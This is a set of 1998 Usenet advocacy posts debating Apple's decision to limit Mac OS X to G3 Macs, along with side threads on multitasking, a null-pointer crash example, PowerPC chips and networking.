References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu> <MPG.10239d85c7aea4289899f7@news.supernews.com>
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Donald Brown wrote:
> In article <mazulauf-2407981051100001@grumpy.met.utah.edu>,
> mazulauf@atmos.met.utah.edu says...
> > The first quote is from the White Paper, discussing the future of the Mac
> > OS, and how it would run on the hardware platform "Available Today" (Oct
> > 18, 1994).
> >
> > The next quote describes how Copland would not run on 68K Macs, as
> > previously thought. Instead they say it will run on PPC Macs (and
> > clones!) with the PPC on the motherboard. Since NuBus macs were still
> > being sold then, the statement was understood to include them.
> >
> > Legally binding? Maybe not. But we all know what they were saying.
>
> Yup. It said that the project known as Copland would run on all PPC
> Macs. If Copland had shipped and that wasn't true, not all PPCs could
> run it, you'd have a major point.
>
> Apple also said that all current programs would run as a full-fledged app
> (binary-compatible). This will not be true with OS X. I don't find this
> upsetting.
>
> Copland was specced to be built by a much larger Apple. It was specced
> too big, and it failed. Apple's been rifling the pockets of the corpse
> to bring some parts into OS 8.x, and 8.x will run on all machines Copland
> was promised for.
>
> Mac OS X is a whole new project. All together now, "OS X is not
> Copland." It has different specs, and is specced to be built by a much
> smaller Apple. In many ways, it won't do all that Copland was said to
> do. In other ways, it will do more. They are different projects, and
> the range the run on, will be different.
MacOS X is a whole new project from Copland, yes. It is not a whole new
project from Rhapsody, however, which supports the PCI Macs. MacOS X is
nothing more than version 2 of Rhapsody; even the name change of Rhapsody to
MacOS X Server makes that continuity clear. Dropping PCI Mac support from
MacOS X when they are already supported by version 1 of that OS is exploitive
and wrong.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 10:29:41 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pl2c9$1i5$1@plo.sierra.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net>
NNTP-Posting-Date: 28 Jul 1998 17:39:21 GMT
Joshua T. McKee wrote in message ...
>Well, I've shown that Windows 95's implementation of PMT can be blocked
>too. So, it is not my words that say Windows 95's PMT is bad, it is the
>very logic used by PC advocates who cry foul when the Macs CMT is
>blocked. Why does this foul not apply when Windows 95's PMT is blocked?
The difference is that on Win95, the programmer has to try hard to block the
PMT, and with MacOS, the programmer has to try to not block the CMT. In the
end, Win95's PMT will be blocked far less than MacOS's CMT.
From: rr6013@yahoo.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
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References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu>
<joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au>
<joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net>
<6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com>
<6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com>
<35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net>
<6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net>
<6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net>
<6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net>
<MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com>
<MPG.1028195454173173989a36@news.supernews.com>
Message-ID: <k4wv1.8467$7k7.11605996@news.rdc1.sdca.home.com>
Date: Wed, 29 Jul 1998 02:48:48 GMT
NNTP-Posting-Date: Tue, 28 Jul 1998 19:48:48 PDT
Organization: @Home Network
In <MPG.1028195454173173989a36@news.supernews.com> Donald Brown wrote:
> In article <6pjgmr$m6i$3@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> says...
> > don.brown@cesoft.com (Donald Brown) wrote:
> > > You made a mistake. He acted like a jerk. You both are treating the
> > > other's misdeeds as capital offenses. Lighten up, dudes!
> >
> > Jeez this is weird. He mischaracterized what I said, and I'm a jerk for
> > being upset. Interesting. His mistake, in and of itself is no big deal.
> > But it's not the first time he's done so. And I certainly was getting
overly
> > annoyed by it; to the point I was serious enough to walk down to the
> > courthouse and file the documents. It's pretty clear, I don't like it
when
> > others mischaracterize what I say. I don't think I'm particualarly
strange
> > for this. If I said that "Donald Brown really thinks apple and all their
> > employees suck" (when you clearly never said any such thing) in a post,
and
> > it's not true, I'm sure you'd be miffed. If I said things of that nature
on
> > several occasions I'm sure you'd get pissed. Then again, maybe not, but
I
> > did.
>
> You're a jerk for blowing it out of proportion, and particularly
> threatening legal action.
[clip reasoned words]
But their John's words, he owns them - its his right to exercise his
individual style. Hey, do we really want "Milk Toast" Kheit around here?
Nah, Fire & Brimstone John gives us his best (arguable best) and the
challenge of a little to chew on.
Though, Joe maybe bit off more than he could chew... :-)
-r
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: 28 Jul 1998 16:55:53 GMT
Organization: none
Message-ID: <6pkvqp$h6j$1@server.signat.org>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org>
<6pkoet$c0d@newsb.netnews.att.com> <6pkqvl$5h0$1@hecate.umd.edu>
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Cc: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu
In <6pkqvl$5h0$1@hecate.umd.edu> David T. Wang wrote:
> : It is a little odd, yes. The Motorola datasheet lists the older
> : PPC 750s as "0.29 micron 5LM CMOS HiP 3.0" and the newer ones as
> : "0.25 micron 5LM CMOS HiP 3.4".
>
> : The IBM datasheet for the older PPC 750s lists
> : "0.25 micron/0.18 Leff - CMOS technology, five levels of metal".
> : The core voltage is 2.5 - 2.75 V.
>
> I'm not sure, but it sounds like that this is just a migration to the
> "Mach 5" process.
Which is what exactly? Is the Mach5 the .25 process? Or is this a mixed
29/.25 process? I find much of this confusing. Are there any .18 process
PPC's?
Maury
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 10:53:14 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981053140001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <6pi3dq$32n$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2707981732090001@news> <6pjg07$m6i$2@lwnws01.ne.highway1.com>
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In article <6pjg07$m6i$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> > You admit that you can run 1024x768 on an 11.3" display, but you don't
> > believe that you can run 640x480 on a 9" display? The Mac OS runs quite
> > well in 640x480, so a 9" screen should be no problem.
>
> What's wrong with you? Perhaps I'm being woefully unclear, and if so I
> appologize; otherwise you have a serious reading comprehension problem.
I believe that you are (or were) being woefully unclear. This thread (or
this part of it) started up when someone mentioned a laptop running Mac OS
on, say, a 9" screen. You responded by saying (paraphrased), "Having a
laptop with less than a 12" screen would be worthless. You shouldn't limit
a desktop UI to a 9" screen." It seems that you should have said, instead,
"A laptop with a 9" screen would be great with the current Mac UI. However,
the desktop UI shouldn't be limited to what works on a 9" screen."
> However, I believe that the macUI is not as well suited to larger
> resolution/displays as other UI offerings.
One sentence clears everything up. This sure seems different from your
earlier comments like, "Jeez, if by next year the best they can do is
release a consumer portable with *only* a 9" screen, they deserve what they
can get. There's no excuse today to release anything but an XGA screen."
Andy Bates.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 14:27:54 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE181B.E0C0E286@earthlink.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net> <joe.ragosta-2807981153280001@0.0.0.0>
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Joe Ragosta wrote:
> In article <35BDEEED.DF7F517E@earthlink.net>, jontemple@earthlink.net wrote:
>
> > Joe Ragosta wrote:
> >
> > > In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
> > > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > >
> > > > In article <joe.ragosta-2607980812040001@elk85.dol.net>,
> > > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > >
> > > >
> > > >
> > > > > With Win98, there are reports that you're better off buying a new
> machine
> > > > > with Win98 preinstalled rather than trying to upgrade. There were
> no great
> > > > > howls of protest when Microsoft made a statement to that effect.
> > > >
> > > >
> > > > I believe that I can run Windows 98 on a 386sx if I so desired.
> > > >
> > > > It is very strange Joe, Mac advocates have been championing Apples great
> > > > backward compatibility as a big feature. Now we're being told it doesn't
> > > > count for anything?
> > >
> > > I wouldn't say it doesn't mean anything. It would be very, very nice if I
> > > could run Rhapsody on my old IIsi. But it's not going to happen and there
> > > are other factors I consider more important.
> > >
> > > My point was that both Apple and Microsoft have to obsolete old machines
> > > at some point.
> >
> >
> >
> > A truly weak point since Apple has elected to obsolete machines less than 2
> > months old (9600/350). Even if MacOS X does ship on time, obsoleting a
> machine
> > less than 2 years old is horrendous.
>
> Just as Microsoft and Intel will be obsoleting old machines months after
> they ship.
Gratuitous troll-like bashing of Microsoft and Intel. This has no place here.
In case you haven't noticed, they are separate companies with overlapping yet
different agendas. This is why Win95 will run on a 386 (if poorly) and even quite
usably with a third-party Evergreen Pentium-clone overdrive. If Microsoft and
Intel were the same, this scenario would never be permitted.
> >
> > It USED to be that Apple waited 10 years before obsoleting a machine;
> now they do
> > it as soon as they shove it out the door.
>
> If it were a trend, I'd be worried.
Arguably, there is a trend, but it would change the direction of my argument.
In any case, why wait for a trend? Obsoleting 2 month old computers isn't a
serious enough breach of faith to get your attention even for a one-time quick
buck scheme? Millions of users will be affected by this. You needn't wait for a
trend to be outraged.
> But sometimes you need to make a clean
> break with the past. I'd rather deal with a single discontinuity than
> an
Actually, the PCI Macs already represent that break with the past. The
differences between these and older Macs are far larger than with the mediocre G3s
models that Apple is presenting pushing. It is also a far more logical breaking
point that the G3s will never be.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 13:36:52 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE0C28.F272AE9E@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com>
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quinlan@intergate.bc.ca wrote:
> In article <6oqjko$qqs$1@camel19.mindspring.com>,
> Matthew Cromer <matthew_cromer@iname.com> wrote:
>
> > That OS was canned, it was called Copland, was due in 1996, and it didn't
> > work out.
>
> As customer, I would rather have a "next generation" operating system rather
> than excuses as to why I can't have one. Especially since they said that I
> would have one.
>
> > They tried to deliver Copland and failed.
>
> As customer, I would rather have a "next generation operating system" rather
> than excuses as to why I can't have one. Especially since they said that I
> would have one.
>
> > Previous Apple management failed to deliver Copland, due to incompetence.
>
> As customer, I would rather have a "next generation operating system" rather
> than excuses as to why I can't have one. Especially since they said that I
> would have one.
>
> > Then when Microsoft promises ship dates and misses them by years they are
> > also lying.
>
> Microsoft's lies don't concern me. And, BTW, I haven't complained that I
> should have had my "next generation" operating system for over a year because
> I believe that Apple never gave a firm date. I expect that Microsoft is the
> same but it doesn't really matter to me.
>
> > As far as I know, this was an Amelio promise, not a Jobsian one.
>
> As customer, I would rather have a "next generation operating system" rather
> than excuses as to why I can't have one. Especially since they said that I
> would have one.
>
> > Well, I think Apple should deliver Rhapsody to all Powermacs, at least
> > all PCI-based ones, but I don't think it is fair to lay the mistakes of
> > previous management teams on Jobs feet.
>
> As customer, I would rather have a "next generation operating system" rather
> than excuses as to why I can't have one. Especially since they said that I
> would have one.
At last, a THINKING CUSTOMER!
Don't just think differently, JUST THINK!
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 10:39:46 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pl2v6$1oa$1@plo.sierra.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net>
NNTP-Posting-Date: 28 Jul 1998 17:49:26 GMT
Joe Ragosta wrote in message ...
>In article <6pisq8$jtg$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com
wrote:
>> #include "string.h"
>>
>> void main( void )
>> {
>> strcpy( (char *) 0, "Today is a good day to die!" );
>> }
>>
>> This crashes my Mac but only causes the program to fail in Windows 95.
>
>Big deal. Try my example:
>
>"fdisk"
Its a lot more than just typing fdisk, you have to select your boot drive,
select the boot partition, tell it to delete the partition, type in the
volume name, answer yes to are you sure you really want to delete and
destroy all data on that partition, and then answer yes again to are you
really sure.
>This destroys my Windows setup but my Mac just laughs at it.
So hold down C when you boot your Mac and boot to a CD, run Drive Setup, and
then you can nuke your drive.
>You can find a way to crash virtually any OS. Your point is irrelevant.
The point is very relevant. One is a tool being misused (which I admit does
happen on any platform), the other is an often occuring bug (that crashes
only MacOS, but doesn't crash Win9x, WinNT, Openstep, Linux, BeOS, Rhapsody,
Solaris, FreeBSD, etc, etc, etc).
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 29 Jul 1998 03:42:37 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pm5nd$a5v$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <MPG.1028195454173173989a36@news.supernews.com>
don.brown@cesoft.com (Donald Brown) wrote:
> You're a jerk for blowing it out of proportion, and particularly
No doubt I over reacted. I don't agree with you that it's out of hand for me
to have been upset for his repeated mischaracterizations. Cleary your
mileage varies.
> threatening legal action. You'd never be able to prove you were
> damaged, so you're just blowing smoke. Plus, there's so much
Um, no I wasn't. I didn't have to win much in the way of money. $1 would
have been enough if he contended it, b/c it would have cost him dearly; I
believe it should cost you something in the end if you mischaracterize what
others say with no admission of fault or remorse. YMMV. If he didn't
contend it, the default judgment would have been something painful.
> crap litigation going on, including a misstatement on UseNet is
> just one more part of the problems.
That's your opinion. Other people's problems and concerns are rarely viewed
as important. When it gets personal it's something different. Regardless, I
agree that going to the courthouse would have been foolish and a great
overreaction. Hey, I got pissed. I'm human (really), it happens.
> When Joe mischaracterized what you said, you should have corrected
> him. If you think it's just once of several times, say "stop
> doing that". When he apologizes and corrects himself, you act
I have. It did little good.
> like a gentleman and accept it, and get back to the serious issues
> like whether mice should have one, two, or three buttons.
I tried. After that though, he seemed intent on debating the merits and
giving little snips back. I didn't feel like letting him. Maybe I'm petty
for that. I don't particularly feel like letting Joe get away with that kind
of behavior.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 13:14:48 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE06FD.CE0719A6@earthlink.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <35b537c1.0@news.depaul.edu>
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To: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
>
> > Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
> > it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
>
> MacOS X is a new OS. OS 8.x was an incremental change. Huge difference.
> Especially if the model-specific patches in MacOS won't work on
> OSX.
Mac OS X is NOT a new OS: It is an incremental change over Rhapsody 1.0, now
called MacOS X Server. Rhapsody already supports pre-G3s; Apple is dropping
that support and renamed the OS to pretend that it is something new. The only
thing new is the marketing approach; it is still basically just OpenStep with
a slew of Apple technologies rolled in, just like Rhapsody/Mac OS X Server.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 13:18:56 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE07F5.4169726@earthlink.net>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162> <joe.ragosta-2107980840590001@0.0.0.0> <gmgraves-2107981125360001@sf-pm5-14-78.dialup.slip.net> <MPG.101ee01f8c39a24d9899d8@news.supernews.com>
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Donald Brown wrote:
> In article <gmgraves-2107981125360001@sf-pm5-14-78.dialup.slip.net>,
> gmgraves@slip.net says...
> > > And an entirely new set of APIs (Carbon).
> >
> > No, its not an entirely new set of APIs. Carbon replaces at a maximum
> > about 25% of the APIs used in the old Mac system. That means that more
> > than 75% of them are the same. In the case of many applications, only
> > 10% or less of the code has to be changed in order to support the new
> > APIs
> >
> Not a new set of APIs, true. But new implementation of those APIs.
> Converting all those APIs to PPC. Checking all the tweaked old
> implementations of the APIS for different motherboards to one coherant
> combined new implementation.
Which is not much of a problem given the excellent hardware abstraction
with Mach 3.0 microkernel. This is the most compelling reason to use Mach
3.0 --- portability and excellent hardware abstraction. Generally, it is
*slower* than monolithic kernels like Mach 2.5 used by Rhapsody, which
somehow Apple got running on Pre-G3 Macs and G3 Macs alike in a few short
months, despite having a far less portable kernel.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 13:24:34 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE0946.54FB70A4@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <MPG.101d9ceeeab350e89899d4@news.supernews.com>
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Donald Brown wrote:
> In article <6p07rq$gn5$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca
> says...
> > In article <MPG.101c7d4f5307a6f09899c6@news.supernews.com>,
> > don.brown@cesoft.com (Donald Brown) wrote:
> >
> > > "Thanks for expressing your concern, Madam. The salesman has been fired
> > > and the manager has committed hari kari. Will that be sufficient for
> > > you?"
> >
> > "Yes, after you fetch me the drink that I asked for."
> >
> > > Unfortunately, there are things that are prohibitively expensive and
> > > difficult. Apple's survival is at stake. If Apple doesn't pull this
> > > off, I don't think they've got another choice.
> >
> > Then they shouldn't have said that they would do it. Their incompetance is
> > hardly my problem. And I don't believe that Apple can't port Mac OS X to all
> > the PowerMacs.
>
> Given an infinite amount of programming and testing resources? Yes, they
> could. To do it in six months with the greatly restricted resources
> Apple currently has? I don't believe so, and I'll take the word of those
> I know inside Apple that it wasn't.
>
> OS-X is a gamble. It's a hell of a project to pull off. The survival of
> the company depends on it.
>
> If you were convinced that Apple had a 50% chance of completely going
> down the tubes if they try to expand OS-X to cover all PowerMacs, would
> you ask them to do so?
My, how melodramatic! And false.
What I ask Apple to do is the RIGHT THING: Support their customers with MacOS X.
How far back should this go? At least two months, don't you think? This means
supporting the 9600 and all similar PCI Macs...
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 13:35:06 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE0BBE.AE74C1E3@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com> <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost>
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taiQ wrote:
> On Mon, 20 Jul 1998 13:14:49, don.brown@cesoft.com (Donald Brown)
> thought aloud:
>
> > In article <6ou5gk$kfk$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca
> > says...
> > > In article <35b26dbb.0@news.depaul.edu>,
> > > Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > >
> > > > Caveat Emptor.
> > > >
> > > > You'd have a better case if you'd *paid* for a 'next generation'
> > > > operating system which you'd never received. You did not.
>
> With all due respect, people who bought '97 PCI Power Macintoshes to
> be ready for Rhapsody (Premiere at Q1 '98, Unified at mid-98) paid for
> Rhapsody-ready hardware; from Apple - the sole source for Macintosh
> computers and the OS software that operates them. People paid for the
> compatibility and now expect that the upcoming modern OS works on
> those Power Macintoshes.
>
> > > I'm not saying that I want to sue them, all I'm saying is that they lied to
> > > us. Lying to your customers isn't a good way of developing a solid brand name
> > > and customer loyalty.
> >
> > Do you draw any distinction between "lied to" and "were wrong"?
> >
> > When those things were told to you, Apple was quite convinced it would
> > happen. They were sure Copland was a done deal...and then discovered
> > that it just wouldn't work and they couldn't make it work.
>
> Rhapsody is going to ship; version 1.0 as Mac OS X Server and version
> 2.0 as Mac OS X.
>
> > Apple was later sure that Rhapsody was the done deal and the future.
> > This one, they had the technology right and it's working, but it turned
> > out to be the wrong solution and not what people would want.
> >
> > In this part at least, Apple was telling you what they really believed
> > and did their best to accomplish those plans. They failed. You
> > apparently wish they had given up, or at least took what they could do
> > and expand it until it would become another Copland.
>
> How do you know they "did their best to accomplish those
> (compatibility) plans", or that "they failed"? Apple has keenly
> avoided giving any specific reasons for not supporting pre-G3
> hardware. Tell me, what was/were the main obstacle(s) they couldn't
> overcome despite their best efforts?
>
> What is your motivation to cover Apple's butt in this matter anyhow?
> Would a more aggressive YellowBox proliferation have negative effects
> on your business? Just curious.
I, too, would like to know what motivates Apple Apologist like Don Brown, for whom
Apple-Can-Do-No-Wrong(tm). He doesn't sound like a customer, who would logically
expect better support, not less. He sounds more like an Apple employee or someone
who stands to lose if Apple does the right thing by its customers. My motivation is
obvious: I want Apple to support my machine. His motivation is opaque and runs
completely counter to commonsense. This "Apple is going to die if it doesn't make a
quick buck off of new G3s" or "Apple is going to die if it has to support Macs sold
more than 2 months ago" slogans look pretty pathetic given Apple's recent $101
million dollar profit. Apple CAN and SHOULD do the right thing by their customers.
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 23:45:51 -0400
Organization: none
Message-ID: <id_est-2807982345510001@192.168.1.3>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net> <MPG.10284cf7951f302b989a3d@news.supernews.com>
In article <MPG.10284cf7951f302b989a3d@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <joe.ragosta-2807980907490001@wil43.dol.net>,
> joe.ragosta@dol.net says...
> > I can use PPP while checking my mail.
> >
> All of the TCP/IP communication is taking place over the PPP connection.
>
> If you have a TCP/IP intranet (without connection to the Internet) and
> also have a modem that allows you to dial into TCP/IP for the Internet,
> you've got to choose one or the other. You can't have your ftp client
> downloading files via the PPP dialup while you are checking your email on
> a server on the Intranet via Ethernet. You have to set TCP/IP up for one
> or the other.
>
> Granted, with Open Transport, it's very easy to set up different
> configurations and switch between them (and on a laptop, you can use
> Location Manager to change many settings at once).
>
> Windows doesn't have this sort of easy switching between configurations
> without a third party utility. But, it does let you use TCP
> simultaneously with dial-up and local network. The feature is called
> "multi-homing", I believe.
